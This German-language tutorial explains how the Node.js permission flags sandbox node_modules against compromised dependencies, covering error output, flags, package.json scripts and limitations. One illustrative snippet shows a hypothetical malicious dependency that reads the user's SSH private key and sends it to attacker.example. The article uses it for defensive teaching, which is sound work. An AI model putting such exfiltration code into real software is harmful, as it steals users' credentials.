Startseite / Artikel / Sandboxing von node_modules mit den Node.js Permission Model Flags

Sandboxing von node_modules mit den Node.js Permission Model Flags

Erfahren Sie, wie die Node.js --permission-Flagge standardmäßig den Zugriff auf das Dateisystem, das Netzwerk und Prozesse verwehrt, wie man diesen Zugriff präzise gewährt und wo ihre Grenzen liegen.

2794 Wörter

Jeder npm install ist ein Akt des Vertrauens. Ein Projekt mit zehn direkten Abhängigkeiten hat in der Regel zwischen 500 und 1.500 Pakete in node_modules, wobei fast keines davon von jemandem in Ihrem Team geöffnet wurde. Das Node.js Permission Model ermöglicht es Ihnen, den Prozess im „by Default verweigern“-Modus zu starten, sodass ein kompromittiertes Paket nur auf die Dateien, Sockets und Prozesse zugreifen kann, die Sie ausdrücklich erlaubt haben. Diese Anleitung erklärt, wie die Überprüfungen funktionieren, wie Sie sie aktivieren können, ohne Ihre Anwendung zu beeinträchtigen, und welche Lücken weiterhin bestehen, selbst wenn alles korrekt konfiguriert ist.

Warum das umfassende Vertrauen das eigentliche Problem ist

Von Haus aus macht Node.js keinen Unterschied zwischen dem Code, den Ihr Team geschrieben hat, und dem Code, den ein Unbekannter im Registry veröffentlicht hat. Alles, was in den Prozess geladen wird, erbt die vollen Berechtigungen des Betriebssystembenutzers, der ihn ausführt. In der Praxis bedeutet das, dass jede Abhängigkeit Folgendes tun kann:

  • alles lesen kann, was dieser Benutzer lesen darf – einschließlich .env-Dateien, SSH-Privatschlüsseln sowie Cloud-Zugangsdaten wie ~/.aws/credentials;
  • Ausgangsverbindungen herstellen und diese Daten an einen anderen Ort senden;
  • Kinderprozesse starten und Shell-Befehle ausführen;
  • native .node-Erweiterungen laden, die als kompilierte Maschinensprachkodierungen gelten und durch Regeln auf JavaScript-Ebene nicht eingeschränkt werden können.

Reale Angriffe haben genau dies ausgenutzt. Das gehackte event-stream-Paket enthielt einen Schadcode, der gegen eine Bitcoin-Wallet-Bibliothek gerichtet war, ua-parser-js wurde übernommen und mit Malware neu veröffentlicht, und mehrere Würmer zum Stehlen von Tokens haben sich über npm ausgebreitet. Keiner dieser Angriffe benötigte einen raffinierten Exploit; sie mussten lediglich in einem Prozess ausgeführt werden, der ihnen vollständig vertraute. Ein kompromittiertes Wartungskonto drei Ebenen tief reicht bereits aus. Wenn Sie einen genaueren Einblick in die Abläufe dieser Angriffe sowie die Schutzmaßnahmen auf der Registry-Seite erhalten möchten, lesen Sie wie npm-Supply-Chain-Angriffe funktionieren.

Das Permission Model befasst sich mit dem Laufzeitaspekt des Problems. Es handelt sich um einen optionalen, prozessbezogenen Sandbox-Modus, der die Standardeinstellung umkehrt: Nichts ist erlaubt, bis Sie es ausdrücklich gestatten.

Was das Berechtigungsmodell ist und wo es steht

Diese Funktion beschränkt den Zugriff auf bestimmte Ressourcen, während ein Programm läuft. Sobald der entsprechende Flag gesetzt wird, verliert der Prozess den Zugriff auf das Dateisystem, das Netzwerk, Kindprozesse, Worker-Threads, native Erweiterungen sowie WASI und FFI, und erhält jede dieser Funktionen nur wieder durch einen expliziten Allow-Flag. Die offizielle Node.js-Berechtigungsdokumentation dient als Referenz für das genaue Verhalten in Ihrer Version.

Diese Funktion hat sich schnell weiterentwickelt:

  • Zunächst wurde sie als experimentelle Funktion in Node.js v20.0.0 im April 2023 eingeführt.
  • Ab v23.5.0 und v22.13.0 ist sie als Stability 2 (Stabil) gekennzeichnet, sodass es sich nicht mehr um ein Experiment handelt, das man hinter einem Funktionsschalter verstecken muss.
  • In späteren Versionen wurde diese Regelung weiter verschärft. Laut einer Zusammenfassung der Änderungen von 2026 erfordern neuere Versionen eine ausdrückliche Genehmigung für APIs des Dateisystems, die mit Symbolverweisen zusammenhängen, überprüfen sie die Berechtigungen beim Verbinden von Unix-Domain-Sockets und bieten eine feinere Steuerung der Umgebungsvariablen über --allow-env. Behandeln Sie diese Funktionen als versionsspezifisch und überprüfen Sie sie anhand der Dokumentation zur von Ihnen genutzten Version.
  • Die praktische Folge ist, dass Sie darauf nun als auf echte Schutzmaßnahme gegen Angriffe auf die Lieferkette vertrauen können – und nicht nur als Kuriosität.

    Das Denkmodell: Eine Firewall um Ihren eigenen Prozess

    Ein Netzwerk-Feuerwall entscheidet, welche Pakete durchgelassen werden dürfen. Das Permission Model erfüllt dieselbe Funktion für den Zugriff auf Ressourcen innerhalb eines Prozesses. Ohne es liest fs.readFileSync() einfach den Dateiinhalt. Mit ihm wird der Aufruf zunächst an einen Kontrollpunkt übergeben, der prüft, ob diese spezifische Ressource in der Erlaubnisliste steht. Ist das der Fall, ändert sich nichts. Ist es nicht der Fall, wird ein Fehler ausgelöst und die Datei wird niemals geöffnet.

    Der wichtige Aspekt ist, wo sich dieser Kontrollpunkt befindet. Er wird innerhalb des Laufzeitumfelds, in der C++-Bindingschicht, und nicht in JavaScript durchgesetzt. Ein bösartiges Paket kann ihn nicht umgehen, indem es fs.readFileSync überschreibt oder das Modul umhüllt, denn die Entscheidung wird auf einer Ebene getroffen, die außerhalb der Reichweite gewöhnlichen JavaScripts liegt.

    Aufzeichnung eines abgelehnten Aufrufs im Laufzeitumfeld

    Um dies weniger abstrakt zu machen, verfolgen wir, was passiert, wenn ein Teil des Codes im Prozess versucht, /etc/passwd zu lesen:

    1. Ihr Code oder jedes in derselben Prozessinstanz geladene Modul ruft fs.readFileSync('/etc/passwd') auf.
    2. Der Aufruf erreicht die interne fs-Binding von Node, die Schicht, die tatsächlich mit dem Betriebssystem kommuniziert.
    3. Vor jeglicher Eingabe-/Ausgabe-Aktion fragt die Binding das Permission Model, ob der Prozess für diesen spezifischen Pfad die Berechtigung fs.read besitzt. Das ist dieselbe Frage, die Sie auch mit process.permission.has('fs.read', path) stellen können.
    4. Falls der Pfad erlaubt ist, erfolgt die Leseoperation wie gewohnt. Gut strukturierter Code bemerkt keinen Unterschied im Verhalten.
    5. Falls die Berechtigung fehlt, wirft Node einen Fehler, dessen Struktur konsistent ist und leicht zu überprüfen.

    Der geworfene Fehler enthält einen Code, den Namen der fehlenden Berechtigung sowie das angeforderte Ressourcetype:

    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/etc/passwd'
    }
    

    Weil ERR_ACCESS_DENIED ein stabiler Fehlercode ist, können Sie ihn abfangen und gezielt darauf reagieren. Erlaubnissensible Bibliotheken können dasselbe tun, anstatt die gesamte Anwendung abstürzen zu lassen.

    Zum ersten Mal die Sandbox aktivieren

    Um das Modul zu aktivieren, muss vor Ihrer Eingabedatei ein Flag gesetzt werden:

    node --permission index.js
    

    Erwarten Sie, dass dies sofort fehlschlägt – selbst bei einer leeren Skriptdatei.

    $ node --permission index.js
    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/index.js'
    }
    

    Das überrascht viele Nutzer, ist aber konsistent: Das Laden von index.js selbst stellt eine Dateisystem-Lesung dar, und Lesungen werden genauso abgelehnt wie alles andere. Es gibt keine eingebauten Ausnahmen für den eigenen Quellcode – das ist eine nützliche erste Lektion darüber, wie streng das Modell ist.

    Die Lösung besteht darin, Lesungen aus dem Projektverzeichnis zuzulassen:

    node --permission --allow-fs-read=. index.js
    

    Die Eingabedatei lädt nun, doch der erste require() eines Pakets wird fehlschlagen, da auch das Auflösen und Laden von Modulen vom Festplattenspeicher ausgeführt wird. Der übliche nächste Schritt ist es, node_modules ausdrücklich zuzulassen:

    node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
    

    Streng genommen liegt ./node_modules bereits unter ., sodass die zweite Flagge in einer einfachen Struktur überflüssig ist. Es wird sinnvoll, sie separat aufzuführen, wenn man die erste Flagge später auf etwas wie ./src einengt oder wenn die Abhängigkeiten in einem Monorepo in einen anderen Ordner verschoben werden.

    Während Sie noch herausfinden, welche Pfade Ihre Anwendung verwendet, können Sie alle Lesevorgänge zulassen und alle anderen Funktionen blockiert lassen:

    node --permission --allow-fs-read=* index.js
    

    Betrachten Sie das Wildcard * als Hilferräder. Es ist während der Entwicklung oder für Dienste akzeptabel, bei denen das Lesen von Dateien nicht der kritische Aspekt ist, doch es ermöglicht es jeder Abhängigkeit, Ihre Geheimnisse einzusehen. Stellen Sie daher strenge Einschränkungen ein, bevor Sie etwas veröffentlichen, das mit Anmeldeinformationen arbeitet.

    Jede gesicherte Funktion und das zugehörige Flag

    Das Lesen aus dem Dateisystem ist nur eine der Sicherheitsbarrieren. Jede Ressourcenklasse wird mit ihrem eigenen Flag verknüpft:

    • Lesen aus dem Dateisystem: --allow-fs-read=.
    • Schreiben in das Dateisystem: --allow-fs-write=.
    • Netzwerkzugriff: --allow-net.
    • Kinderprozesse: --allow-child-process.
    • Arbeiterschleifen: --allow-worker.
    • Native Erweiterungen: --allow-addons.
    • WebAssembly System Interface: --allow-wasi.
  • Fremdfunktionsschnittstelle: --allow-ffi.
  • Mehrere davon verhalten sich auf Weise, die es lohnt, vor der Verwendung zu verstehen:

    • Die beiden Dateisystem-Flags nehmen einen Pfad entgegen und können wiederholt werden, zum Beispiel --allow-fs-read=./data --allow-fs-read=./config.
    • --allow-net benötigt keinen Argument. Es handelt sich um einen einzigen Schalter, der eingehende und ausgehende Netzwerkverbindungen abdeckt, einschließlich roher Sockets, http, https, fetch sowie Unix-Domain-Sockets.
    • --allow-child-process beeinflusst außerdem, wie Einschränkungen auf Kindprozesse übertragen werden. Ein mit child_process.fork() erstellter Prozess erhält Ihre Berechtigungsflaggen automatisch, während child_process.spawn() sie über die Umgebungsvariable NODE_OPTIONS weiterleitet. In beiden Fällen bleibt der Kindprozess innerhalb des Sandboxes und entkommt ihm nicht.
    • --allow-addons erfordert die größte Vorsicht. Native Erweiterungen sind mit dlopen geladene, kompilierte C- oder C++-Bibliotheken, die nach dem Laden außerhalb des JavaScript-Engines ohne weitere Berechtigungsprüfungen ausgeführt werden. Wenn Sie diesem Flaggenwert Code geben, dem Sie nicht vollständig vertrauen, erhält dieser Code im Grunde dieselben Befugnisse wie ohne Sandbox überhaupt.

    Ein funktionierendes Beispiel: Ein CSV-Uploader und eine schädliche Abhängigkeit

    Betrachten Sie ein kleines, aber realistisches Skript. Es liest eine CSV-Datei von der Festplatte, analysiert sie mit dem Drittanbieter-Paket csv-parse und sendet die Einträge über eine API mithilfe von axios, einem weiteren Drittanbieter-Paket:

    // process-csv.js
    const fs = require('fs');
    const { parse } = require('csv-parse/sync'); // third-party dependency
    const axios = require('axios');              // third-party dependency
    
    const raw = fs.readFileSync('./data/input.csv', 'utf-8');
    const records = parse(raw, { columns: true });
    
    axios
      .post('https://api.example.com/ingest', records)
      .then(() => console.log('Uploaded', records.length, 'records'));
    

    Wenn man es einfach mit node process-csv.js ausführt, funktioniert das. Ebenso könnte eine versteckte Payload in einer kleineren Version von csv-parse oder eines seiner Abhängigkeitspakete eingeschleust werden. Der folgende Codeausschnitt zeigt, wie eine solche Payload aussehen könnte: Er liest die private SSH-Schlüssel des Benutzers und sendet sie an einen vom Angreifer kontrollierten Host.

    // hypothetical malicious code inside a compromised transitive dependency
    const fs = require('fs');
    const os = require('os');
    const https = require('https');
    
    const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
    https.request('https://attacker.example/collect', { method: 'POST' })
         .end(secret);
    

    Ohne Sandbox läuft das alles unbemerkt ab, und der Schlüssel ist verschwunden, bevor jemand etwas bemerkt. Starten Sie nun dasselbe Skript nur mit den Funktionen, die es tatsächlich benötigt – nämlich das Lesen aus dem Projekt und seinen Abhängigkeiten sowie Netzwerkzugriff:

    node --permission \
         --allow-fs-read=. \
         --allow-fs-read=./node_modules \
         --allow-net \
         process-csv.js
    

    Die eigentliche Aufgabe ist dennoch erfolgreich: Das Skript liest ./data/input.csv ein, lädt seine Module und erreicht die API. Die Übertragung scheitert jedoch bereits beim Kontakt mit dem Schlüssel:

    Error: Access to this API has been restricted
        at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/.ssh/id_rsa'
    }
    

    os.homedir() weist auf einen Ort außerhalb von . und ./node_modules hin, sodass der Pfad nicht in der Erlaubnisliste steht und die Datenentnahme niemals so weit kommt, dass eine Verbindung hergestellt wird.

    Achten Sie darauf, was hier nicht geholfen hat. Da das legitime Skript --allow-net benötigt, hätte die Payload dennoch Netzwerkanfragen senden können. Was den Schlüssel geschützt hat, war der enge Lesebereich. Dieselbe Logik warnt Sie vor einem häufigen Fehler: Wenn Sie eine .env-Datei im Projektverzeichnis lassen und Lesezugriff von . erlauben, kann jede Abhängigkeit diese Datei ebenfalls lesen. Bewahren Sie Geheimnisse außerhalb der lesbaren Pfade auf oder injizieren Sie sie über einen Mechanismus, der keinen Zugriff auf das Dateisystem vom Prozess erfordert.

    Abschalten des Prozessstarts

    Viele echte Payloads überspringen den Dateilesevorgang ganz und starten einfach eine Shell, um eine zweite Phase herunterzuladen und auszuführen. Bei aktivierter --permission und ohne --allow-child-process scheitert der Versuch bereits, bevor ein Prozess gestartet wird:

    node:internal/child_process:388
        const err = this._handle.spawn(options);
        ^
    Error: Access to this API has been restricted
        at ChildProcess.spawn (node:internal/child_process:388:28)
        at node:internal/main/run_main_module:17:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'ChildProcess'
    }
    

    Der größte Teil des Anwendungscode, wie beispielsweise Datenumwandlung, Aufrufe an interne Dienste oder Vorlagenverarbeitung, hat keinen Grund, Prozesse zu erstellen. Wenn nichts in Ihrem Abhängigkeitsbaum tatsächlich child_process benötigt, beseitigt das Auslassen dieser Einstellung eine ganze Klasse von Angriffen ohne Kosten.

    Erlaubnis aus dem eigenen Code anfordern

    Wenn das Modell aktiv ist, stellt Node process.permission zur Verfügung, wodurch Code eine Fähigkeit überprüfen kann, bevor er versucht, sie zu nutzen, anstatt auf eine ausgelöste Ausnahme angewiesen zu sein. Sie können eine Fähigkeit allgemein überprüfen oder die Überprüfung auf einen bestimmten Pfad beschränken:

    if (process.permission) {
      console.log(process.permission.has('fs.write'));                        // true / false
      console.log(process.permission.has('fs.write', '/app/uploads'));        // scoped check
      console.log(process.permission.has('fs.read'));                        // true / false
      console.log(process.permission.has('net'));                             // true / false
    }
    

    Der Schutzmechanismus if (process.permission) ist wichtig, weil das Objekt nur dann existiert, wenn der Prozess mit --permission gestartet wurde. Für Bibliotheksentwickler ist diese API besonders wertvoll: Ein Paket mit optionaler Telemetrie kann process.permission.has('net') überprüfen und diese Funktion in einem sandboxierten Prozess stillschweigend deaktivieren, anstatt die Host-Anwendung lahmzulegen.

    Die Sandbox in den Lauf des Projekts integrieren

    Das Manuell-Eingeben einer langen Liste an Flags ist fehleranfällig, und eine Sandbox, die jemand vergisst zu aktivieren, bietet keinen Schutz. Die einfachste Lösung besteht darin, die Flags in das start-Skript in package.json aufzunehmen:

    {
      "scripts": {
        "start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
      }
    }
    

    Um dieselbe Richtlinie auf alle npm-Skripte anzuwenden, einschließlich der über npx gestarteten Tools, können Sie die Flags einmal über NODE_OPTIONS festlegen. Bedenken Sie, dass npm selbst ein Node.js-Programm ist und daher ebenfalls unter diesen Einschränkungen läuft; das ist einer der Gründe, warum in diesem Beispiel der umfassende Befehl --allow-fs-read=* verwendet wird.

    export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
    npm start
    

    Für eine einzelne npx-Aufrufung geben Sie die Optionen direkt weiter:

    # enabling it for a one-off npx execution
    npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
    

    Dieses letzte Muster zeigt erneut, dass nichts implizit vertrauenswürdig ist. Um das Tool zu finden und auszuführen, benötigt Node Lesezugriff auf den Ort, an dem sich das Paket tatsächlich befindet – egal ob es sich um den globalen node_modules-Ordner handelt, der über npm prefix -g angegeben wird, oder um den npx-Cache. Selbst dem Befehl, den Sie absichtlich ausführen lassen möchten, muss Zugriff gewährt werden.

    Einschränkungen, die man kennen sollte, bevor man sich darauf verlässt

    Das Permission Model ist eine starke Schutzschicht, doch es als vollständige Lösung zu betrachten, ist riskant.

    Berechtigungen gelten für den gesamten Prozess, nicht für einzelne Pakete

    Das ist die wichtigste Einschränkung für alle, die bestimmte Abhängigkeiten einschränken möchten. Der Sandbox zieht eine Grenze zwischen dem Node.js-Prozess und dem Betriebssystem. Er kann keine Regeln wie „left-pad hat keinen Netzzugang, während axios ihn hat“ festlegen. Alle Module im Prozess teilen sich dieselbe Berechtigungsliste, wodurch das Vergeben von --allow-net für Ihren HTTP-Client auch allen anderen Paketen diesen Zugang gewährt. Das Modell erhöht die Anforderungen an den gesamten Prozess; es isoliert die Pakete voneinander nicht. Wenn Sie wirklich eine Isolation pro Komponente benötigen, müssen Sie die Aufgaben in separate Prozesse mit unterschiedlichen Flags aufteilen.

    Eingebettete Erweiterungen umgehen alles, sobald sie geladen sind

    Sobald --allow-addons gewährt wurde und ein eingebettetes Modul geladen ist, wird sein kompiliierter Code ohne weitere Kontrolle ausgeführt. Der Sandbox fehlt die Möglichkeit, auf Maschinencode zuzugreifen.

    Der Kontrollcode kann selbst Fehler aufweisen

    Die Prüfungen sind gewöhnlicher Laufzeitcode und können fehlerhaft sein. Eine 2026 gemeldete Schwachstelle mit der Kennung CVE-2026-58043 betraf die Logik zur Pfadvergleichung: Die Allow-Listen des Dateisystems werden in einem Radixbaum gespeichert, wodurch Pfade, die lediglich einen Zeichenanfang mit einem erlaubten Pfad teilten, fälschlicherweise Zugriff erhalten konnten. Dadurch waren Lese- oder Schreibvorgänge außerhalb des vorgesehenen Umfangs möglich. Die gemeldeten gepatchten Versionen sind 26.5.1, 24.18.1 und 22.23.2 für die jeweiligen Release-Reihen; zur offiziellen Liste sollten Sie sich die Node.js-Sicherheitsupdates ansehen. Die Schlussfolgerung ist nicht, diese Funktion zu vermeiden, sondern sicherzustellen, dass Ihr Laufzeitumfeld stets gepatcht ist, da auch korrekte Flags in einer anfälligen Version weiterhin Schwachstellen aufweisen.

    Es begrenzt den Schaden; es verhindert die Installation nicht

    Der Sandbox begrenzt den Ausbreitungsbereich bei der Ausführung bösartiger Code. Er verhindert jedoch nicht, dass dieser Code installiert wird. Setzen Sie weiterhin npm audit ein, installieren Sie mit npm ci basierend auf einem gespeicherten Lockfile anstelle von freien Versionsbereichen, prüfen Sie vor dem Upgrade neue transitive Abhängigkeiten und berücksichtigen Sie zusätzlich zu den Laufzeitkontrollen einen Abhängigkeits-Scannings-Dienst wie Socket oder Snyk.

    Checkliste für die Einführung

    • Führen Sie während der Entwicklung mit --permission --allow-fs-read=* los, damit Sie sehen können, welche weiteren Berechtigungen Ihre Anwendung benötigt, ohne sich um genaue Pfade streiten zu müssen.
    • Vor der Veröffentlichung beschränken Sie --allow-fs-read und --allow-fs-write auf die Verzeichnisse, die die Anwendung tatsächlich verwendet, wie z. B. Datenordner, Konfigurationsdateien und node_modules. Erlauben Sie niemals Ihren Heimverzeichnis oder /.
  • Gewähren Sie Fähigkeitsflaggen wie Netzwerkzugriff, Kindprozesse, Worker, Erweiterungen, WASI oder FFI nur dann, wenn es eine echte Notwendigkeit gibt. Jede weggelassene Flagge schließt einen Angriffsweg.
  • Betrachten Sie den Bedarf an --allow-addons als Warnsignal und prüfen Sie die Abhängigkeit, die ihn erfordert.
  • Halten Sie Geheimnisse außerhalb aller Verzeichnisse, die vom Prozess gelesen werden können.
  • Encodieren Sie die Flaggen in Ihrem Startskript oder in NODE_OPTIONS, damit niemand sie vergisst.
  • Bleiben Sie auf einer aktuellen, gepatchten Version von Node.js, da auch die Durchsetzungs Schicht Sicherheitskorrekturen wie jeder andere Teil des Laufzeitumfelds erhält.
  • Kernpunkte

    Angriffe auf die Lieferkette funktionieren, weil Node.js jedem Paket im Ökosystem genauso viel Vertrauen schenkt wie seinem eigenen Code. Das Berechtigungsmodell beseitigt dieses Vertrauen nicht, da der Code weiterhin in Ihrem Prozess ausgeführt wird, doch es verwandelt einen unbegrenzten Angriffsbereich in einen durch von Ihnen gewählte Flags definierten begrenzten Bereich. Sein Wert hängt davon ab, wie eng diese Flags gestellt sind: enge Dateisystembereiche sowie fehlende Fähigkeitsflags stoppen die meisten Angriffsvektoren, während weit gefasste Wildcards und --allow-addons diese Schutzmaßnahmen stillschweigend außer Kraft setzen. In Kombination mit einem gepatchten Laufzeitumfeld und ordentlicher Abhängigkeitsverwaltung gehört dies zu den kostengünstigsten Sicherheitsmaßnahmen, die ein Node.js-Dienst ergreifen kann.